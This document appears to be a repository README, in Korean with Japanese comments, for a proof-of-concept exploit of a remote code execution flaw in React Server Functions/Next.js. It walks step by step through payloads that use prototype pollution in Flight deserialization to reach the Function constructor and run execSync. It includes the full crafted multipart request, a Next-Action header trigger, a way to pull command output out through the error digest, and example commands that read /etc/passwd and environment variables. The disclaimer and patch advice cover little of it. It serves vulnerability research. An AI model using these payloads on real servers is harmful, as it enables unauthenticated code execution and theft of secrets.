
CVE-2025-55182에 대한 개념 증명 익스플로잇, React Server Functions(Next.js)의 원격 코드 실행 취약점. 프로토타입 오염을 통해 인증되지 않은 임의 코드 실행을 유도하는 조작된 HTTP 요청을 보여줍니다.
React Server Functions(Next.js 등)에서의 원격 코드 실행(RCE)취약점 증명 코드입니다. 프로토타입 오염을 악용하여 인증 없이 서버에서 임의 코드를 실행할 수 있습니다.
주의: 이 리포지토리는 교육·연구 목적입니다. 악용은 엄금입니다.
React Flight Protocol의 역직렬화 처리에서 프로토타입 체인 검증이 불충분합니다. 이로 인해 __proto__를 통해 Function 생성자에 접근하여 임의의 JavaScript 코드를 실행할 수 있습니다.
가장 간단한 검증 방법입니다.
# 1. 脆弱なNext.jsサーバーを起動
docker compose up -d --build
# 1. エクスプロイトを実行(デフォルト: idコマンド)
docker compose run --rm poc
# 4. カスタムコマンドを実行
docker compose run --rm -e COMMAND="whoami" poc
docker compose run --rm -e COMMAND="cat /etc/passwd" poc
docker compose run --rm -e COMMAND="env" poc
# 5. サーバーを停止
docker-compose down
Next.js 등에서 제공되는 서버사이드 API 기능입니다.
// Server Action(サーバー側でのみ実行される関数)
async function submitForm(formData) {
'use server' // ← サーバー関数の宣言
// データベース操作など、サーバー側の処理
const result = await db.insert(formData)
return result
}
클라이언트에서 호출하면:
클라이언트는 '청크'라고 하는 단위로 데이터를 전송합니다:
files = {
"0": (None, '["$1"]'), # チャンク0: チャンク1への参照
"1": (None, '{"object":"fruit","name":"$2:fruitName"}'), # チャンク1: チャンク2のfruitNameを参照
"2": (None, '{"fruitName":"cherry"}'), # チャンク2: 実際のデータ
}
서버 측에서 역직렬화되면:
{ object: 'fruit', name: 'cherry' }
청크 간에 상호 참조가 가능한 것이 포인트입니다.
수정 커밋 이전, 청크 참조를 해결할 때 키가 실제로 객체에 존재하는지 검증하지 않았습니다.
이로 인해 프로토타입 체인에 접근할 수 있게 됩니다.
files = {
"0": (None, '["$1:__proto__:constructor:constructor"]'),
"1": (None, '{"x":1}'),
}
참조 해결 과정:
청크1의 객체 → __proto__ → constructor → constructor → Function
결과:
[Function: Function] // Functionコンストラクタを取得!
청크0을 객체로 하고 then 프로퍼티를 Function 생성자로 설정:
files = {
"0": (None, '{"then":"$1:__proto__:constructor:constructor"}'),
"1": (None, '{"x":1}'),
}
Next.js 코드 (action-handler.ts:888, 패치 전):
boundActionArguments = await decodeReplyFromBusboy(
busboy,
serverModuleMap,
{ temporaryReferences }
)
이 await가 then이 Function 생성자인 객체를 호출하려고 하여 에러 발생:
SyntaxError: Unexpected token 'function'
at Object.Function [as then] (<anonymous>) {
digest: '1259793845'
}
Function 생성자는 획득했지만 어떻게 임의의 코드를 실행시킬까요?
필요한 것:
maple3142의 아이디어: 청크0이 자기 자신을 참조하는 '가짜 청크' 생성.
files = {
"0": (None, '{"then": "$1:__proto__:then"}'), # 自分のthenをChunk.prototype.thenで上書き
"1": (None, '"$@0"'), # $@0 = チャンク0の「生」の表現
}
$@ 구문은 해결된 값이 아닌 '원시 청크'를 반환합니다:
case "@":
return (
(obj = parseInt(value.slice(2), 16)), getChunk(response, obj)
);
결과: 청크0의 then이 Chunk.prototype.then으로 대체됩니다.
Chunk.prototype.then = function (resolve, reject) {
switch (this.status) {
case "resolved_model":
initializeModelChunk(this); // ← ここに入る
}
// ...
}
가짜 청크에 status: "resolved_model"을 설정하면 initializeModelChunk가 호출됩니다:
files = {
"0": (None, '{"then": "$1:__proto__:then", "status": "resolved_model"}'),
"1": (None, '"$@0"'),
}
initializeModelChunk 내부:
function initializeModelChunk(chunk) {
var rawModel = JSON.parse(resolvedModel),
value = reviveModel(chunk._response, { "": rawModel }, "", rawModel, rootReference);
// ...
}
여기서 두 번째 평가가 발생합니다.
React Flight Protocol의 blob 처리 ($B 접두사):
case "B":
return (
obj = parseInt(value.slice(2), 16),
response._formData.get(response._prefix + obj) // ← ここを悪用
);
가짜 청크의 _response를 조작하여 _formData.get을 Function 생성자로, _prefix를 실행하려는 코드로 설정:
crafted_chunk = {
"then": "$1:__proto__:then",
"status": "resolved_model",
"reason": -1, # toString()でエラーにならないように
"value": '{"then": "$B0"}', # blob参照でthenを設定
"_response": {
"_prefix": "process.mainModule.require('child_process').execSync('calc');",
"_formData": {
"get": "$1:constructor:constructor", # Functionコンストラクタ
},
},
}
files = {
"0": (None, json.dumps(crafted_chunk)),
"1": (None, '"$@0"'),
}
실행 흐름:
response._formData.get(response._prefix + "0")
↓
Function("process.mainModule.require('child_process').execSync('calc');0")
↓
// この関数がawaitされて呼び出される → コード実行!
poc.py는 위의 페이로드를 구현하고 명령 실행 결과를 오류 메시지에서 추출합니다:
# コマンド出力をエラーのdigestフィールドに埋め込む
"_prefix": f"var res = process.mainModule.require('child_process').execSync('{EXECUTABLE}',{{'timeout':5000}}).toString().trim(); throw Object.assign(new Error('NEXT_REDIRECT'), {{digest:`${{res}}`}});"
HTTP 헤더에 Next-Action: x를 설정하기만 하면 공격이 성립:
headers = {"Next-Action": "x"}
res = requests.post(BASE_URL, files=files, headers=headers)
중요: 이 공격은 역직렬화 중에 발생하므로 액션 검증 (getActionModIdOrError) 전에 실행됩니다.
즉시 업데이트: React와 Next.js를 최신 버전으로 업데이트
npm update react react-dom next
버전 확인:
npm list react next
WAF/보안 대책:
Next-Action 헤더 모니터링# プロジェクトの脆弱性チェック
npm audit
이 리포지토리는 교육·연구 목적으로만 제공됩니다.
취약성 발견: maple3142 PoC 구현: 이 리포지토리의 작성자